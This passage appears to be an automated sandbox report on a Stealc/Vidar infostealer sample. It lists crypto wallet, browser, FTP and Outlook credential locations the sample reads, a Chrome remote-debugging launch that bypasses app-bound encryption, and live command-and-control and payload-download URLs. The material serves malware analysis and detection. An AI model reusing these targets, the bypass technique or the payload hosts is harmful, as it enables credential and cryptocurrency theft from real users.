Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16bert\AppData\Roaming\Electrum-LTC\wallets\.*E%

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1994265116.00000000002CC000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 568, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1472255775.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1996260643.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1994265116.0000000000201000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 568, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 568, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC50C40 sqlite3_bind_zeroblob,	0_2_6CC50C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC50D60 sqlite3_bind_parameter_name,	0_2_6CC50D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78EA0 sqlite3_clear_bindings,	0_2_6CB78EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC50B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CC50B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB76410 bind,WSAGetLastError,	0_2_6CB76410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB760B0 listen,WSAGetLastError,	0_2_6CB760B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7C030 sqlite3_bind_parameter_count,	0_2_6CB7C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB76070 PR_Listen,	0_2_6CB76070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CB7C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB022D0 sqlite3_bind_blob,	0_2_6CB022D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB763C0 PR_Bind,	0_2_6CB763C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	751 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1008816001\7b950b2da4.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/freebl3.dllA	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpfi	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exephp	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dlle	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpx:	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exeQ	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
www.google.com	172.217.21.36	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
https://assets.msn.com/bundles/v1/edgeChromium/latest/common.070b7e2c0c11bf3433e5.js	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471915190&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://sb.scorecardresearch.com/b2?rn=1732471915192&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1F3CC8AC76826FD52AA3DDED77AB6EB5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://assets.msn.com/bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js	false	high
https://c.msn.com/c.gif?rnd=1732471915191&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7802fdab79c14bad93100131b39abd85&activityId=7802fdab79c14bad93100131b39abd85&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471922518&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471921483&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
https://assets.msn.com/bundles/v1/edgeChromium/latest/microsoft.4a2a9ed8240d3004231b.js	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471923127&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732471921487&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	EHJJKFCB.0.dr, Web Data.10.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCB.0.dr, Web Data.10.dr	false		high
http://www.broofa.com	chromecache_464.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://ntp.msn.com/0	000003.log7.10.dr	false		high
https://ntp.msn.com/_default	QuotaManager.10.dr	false		high
https://www.last.fm/	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.11.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllA	file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://docs.google.com/	manifest.json0.10.dr	false		high
https://www.youtube.com	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://www.instagram.com	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpx:	file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json0.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpfi	file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.messenger.com	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://i.y.qq.com/n2/m/index.html	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://www.deezer.com/	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://web.telegram.org/	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2035299323.000000006FE8D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	CFIJEBFCGDAAKFHIDBFIDBKFHJ.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.10.dr	false		high
https://vibe.naver.com/today	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCB.0.dr, Web Data.10.dr	false		high
https://assets.msn.com	6052d31c-83b8-4476-97d3-a58ffd9292ad.tmp.11.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	CFIJEBFCGDAAKFHIDBFIDBKFHJ.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php5	file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_464.5.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.11.dr	false		high
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
https://www.tiktok.com/	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dlle	file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpA	file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.10.dr	false		high
https://chromewebstore.google.com/	manifest.json.10.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, FIECFBAAAFHIIDGCGCBF.0.dr	false		high
http://31.41.244.11/files/random.exephp	skotes.exe, 0000001C.00000002.2703562360.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://msn.comXIDv10	Cookies.11.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001C.00000002.2703562360.0000000000B4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
https://y.music.163.com/m/	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://bard.google.com/	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://web.whatsapp.com	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://m.kugou.com/	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://www.office.com	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://outlook.live.com/mail/0/	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://ntp.msn.com/edge/ntp	000003.log7.10.dr, 2cc80dabc69f58b6_1.10.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
http://185.215.113.16/mine/random.exeQ	file.exe, 00000000.00000002.1996260643.0000000000E17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://powerpoint.new?from=EdgeM365Shoreline	6339a33a-3f7a-490a-bd71-024fc2d83ec7.tmp.10.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.1996260643.0000000000E34000.00000004.00000020.00020000.00000000.sdmp, EHJJKFCB.0.dr, Web Data.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.2026810670.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	FIECFBAAAFHIIDGCGCBF.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
